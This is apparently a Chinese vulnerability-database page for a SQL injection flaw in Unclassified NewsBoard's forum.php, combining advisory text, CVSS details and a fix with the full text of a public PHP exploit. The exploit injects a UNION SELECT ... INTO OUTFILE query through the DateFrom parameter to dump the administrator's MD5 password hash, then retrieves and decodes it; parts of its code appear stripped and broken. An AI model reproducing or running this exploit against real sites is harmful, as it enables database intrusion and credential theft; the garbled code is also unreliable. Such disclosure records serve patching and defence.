发布时间 :2005-11-18 20:03:00
修订时间 :2011-08-05 00:00:00

[原文]SQL injection vulnerability in in Unclassified NewsBoard before 1.5.3 Patch 4 allows remote attackers to execute arbitrary SQL commands via the (1) DateFrom or (2) DateUntil parameter to forum.php.

[CNNVD]Unclassified NewsBoard forum.php远程SQL注入漏洞(CNNVD-200511-259)

        Unclassified NewsBoard是一款基于WEB的PHP编写的论坛程序。
        Unclassified NewsBoard对用户提交给的参数缺少正确充分的过滤,远程攻击者可以利用此漏洞非授权操作数据库。
        Unclassified NewsBoard的forum.php脚本对用户提交DateFrom参数数据缺少充分过滤,远程攻击者可以通过在输入数据中插入特定的SQL命令来非授权获取对数据库的访问。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-89 [SQL命令中使用的特殊元素转义处理不恰当(SQL注入)]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BID  15466

- 漏洞信息

Unclassified NewsBoard forum.php远程SQL注入漏洞
高危 SQL注入
2005-11-18 00:00:00 2006-06-12 00:00:00
        Unclassified NewsBoard是一款基于WEB的PHP编写的论坛程序。
        Unclassified NewsBoard对用户提交给的参数缺少正确充分的过滤,远程攻击者可以利用此漏洞非授权操作数据库。
        Unclassified NewsBoard的forum.php脚本对用户提交DateFrom参数数据缺少充分过滤,远程攻击者可以通过在输入数据中插入特定的SQL命令来非授权获取对数据库的访问。

- 公告与补丁


- 漏洞信息 (1319)

Unclassified NewsBoard 1.5.3 Patch 3 Blind SQL Injection Exploit (EDBID:1319)
php webapps
2005-11-14 Verified
0 rgod
N/A [点击下载]
#   ---UNB153pl3_xpl.php                                      11.35 12/11/2005 #
#                                                                              #
#          Unclassified NewsBoard 1.5.3 patch level 3 "Datefrom" blind SQL     #
#                   injection /  Admin MD5 password hash dump                  #
#                              by rgod                                         #
#                  site:                            #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  make these changes in php.ini if you have troubles                          #
#  with this script:                                                           #
#  allow_call_time_pass_reference = on                                         #
#  register_globals = on                                                       #
#                                                                              #
#  Sun-tzu:"If he is taking his ease, give him no rest. If his forces are      #
#  united, separate them."                                                     #

ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title> Unclassified  NewsBoard  1.5.3pl3  blind  SQL injection
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
Unclassified  NewsBoard  1.5.3pl3  blind  SQL  injection </p><p class="Stile6">a
script  by  rgod  at        <a href=""target="_blank"></a></p><table width="84%"><tr><td width="43%">  <form
name="form1"      method="post"   action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&proxy=value"> <p> <input  type="text"  name="host">       <span
class="Stile5"> * hostname (ex: </span> </p> <p>        <input
type="text" name="path">   <span class="Stile5"> * path ( ex: /unb/  or just / )
</span></p><p> <input   type="text" name="fullpath"><span class="Stile5"> * full
path to site,  need  this for "INTO OUTFILE" statement (ex.: C:\\\www\\\site\\\)
</span></p><p>   <input type="text" name="table_prefix">   <span class="Stile5">
specify a table  prefix other than the default (unb1_)</span>      </p><p><input
type="text"  name="port"> <span class="Stile5">specify  a  port  other  than  80
( default  value )  </span>  </p> <p>  <input  type="text"  name="proxy">  <span
class="Stile5">  send  exploit  through  an  HTTP proxy (ip:port) </span></p><p>
<input type="submit"name="Submit" value="go!"> </p> </form> </td> </tr> </table>

function show($headeri)
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
if ($ji==16) {
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
            echo "</tr><tr>";
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
echo "</tr></table>";
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
		              //next function to send packets
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
 		  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                    echo "OK.<br>";
                    echo "Attempting to connect to ".$host." on port ".$port."...<br>";
                    if ($proxy=='')
		     $result = socket_connect($socket, $host, $port);

		   $parts =explode(':',$proxy);
                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
		   $result = socket_connect($socket, $parts[0],$parts[1]);
		   if ($result < 0) {
                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
                                     echo "OK.<br><br>";
                                     $html= '';
                                     socket_write($socket, $packet, strlen($packet));
                                     echo "Reading response:<br>";
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo "Closing socket...";

function sendpacketii($packet)
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
	   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    if (!$ock) { echo 'No response from proxy...';
if ($proxy=='')

    while (!feof($ock))
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
echo nl2br(htmlentities($html));

if (($host<>"") and ($path<>"") and ($fullpath<>""))
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($table_prefix=='') {$table_prefix="unb1_";}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

#STEP 1 -> Dump Admin MD5 password hash...
$SQL="9999999999) UNION SELECT ORD(SUBSTRING(Password,1,1)),ORD(SUBSTRING(Password,2,1)),ORD(SUBSTRING(Password,3,1)) FROM ".$table_prefix."users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,4,1)),ORD(SUBSTRING(Password,5,1)),ORD(SUBSTRING(Password,6,1)) FROM ".$table_prefix."users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,7,1)),ORD(SUBSTRING(Password,8,1)),ORD(SUBSTRING(Password,9,1)) FROM ".$table_prefix."users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,10,1)),ORD(SUBSTRING(Password,11,1)),ORD(SUBSTRING(Password,12,1)) FROM ".$table_prefix."users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,13,1)),ORD(SUBSTRING(Password,14,1)),ORD(SUBSTRING(Password,15,1)) FROM ".$table_prefix."users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,16,1)),ORD(SUBSTRING(Password,17,1)),ORD(SUBSTRING(Password,18,1)) FROM ".$table_prefix."users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,19,1)),ORD(SUBSTRING(Password,20,1)),ORD(SUBSTRING(Password,21,1)) FROM ".$table_prefix."users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,22,1)),ORD(SUBSTRING(Password,23,1)),ORD(SUBSTRING(Password,24,1)) FROM ".$table_prefix."users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,25,1)),ORD(SUBSTRING(Password,26,1)),ORD(SUBSTRING(Password,27,1)) FROM ".$table_prefix."users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,28,1)),ORD(SUBSTRING(Password,29,1)),ORD(SUBSTRING(Password,30,1)) FROM ".$table_prefix."users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,31,1)),ORD(SUBSTRING(Password,32,1)),NULL INTO OUTFILE '".$fullpath."suntzu' FROM ".$table_prefix."users WHERE ID=1/*";
$packet="GET ".$p."forum.php?req=search&Query=suntzu&ResultView=2&Sort=2&DateFrom=".$SQL."&DateUntil=&Forum=0 HTTP/1.1\r\n";
$packet.="Referer: http://".$host.":".$port.$path."forum.php?req=search&unb236sess=\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";

#STEP 2 -> Retrieve dump and decode...
$packet="GET ".$p."suntzu HTTP/1.1\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";

if (eregi("200 OK",$html))
$temp2=''; $HASH='';
for ($i=0; $i<=strlen($dump)-1; $i++)
  if (($dump[$i]==chr(0x09)) or ($dump[$i]==chr(0x0a)))
       {$HASH.=chr($temp2); $temp2='';}
     {$temp2.=$dump[$i]; if ($temp2=="\N") {break;} }
echo "<br>Exploit succeeded -> ".$HASH;
{echo "Exploit failed...";}
{echo "Fill * requested fields, optionally specify a proxy...";}


# [2005-11-14]

- 漏洞信息

Unclassified NewsBoard Multiple Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

Unclassified NewsBoard contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the search function not properly sanitizing user-supplied input to the 'DateFrom' or 'DateUntil' variables. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2005-11-18 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 1.5.3 Patch 4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

Unclassified NewsBoard Forum.PHP SQL Injection Vulnerability
Input Validation Error 15466
Yes No
2005-11-16 12:00:00 2009-07-12 05:56:00
rgod is credited with the discovery of this vulnerability.

- 受影响的程序版本

Unclassified NewsBoard Unclassified NewsBoard 1.5.3 a
Unclassified NewsBoard Unclassified NewsBoard 1.5.3

- 漏洞讨论

Unclassified NewsBoard is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

- 漏洞利用

No exploit is required.

The following exploit is available:

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: <>.

- 相关参考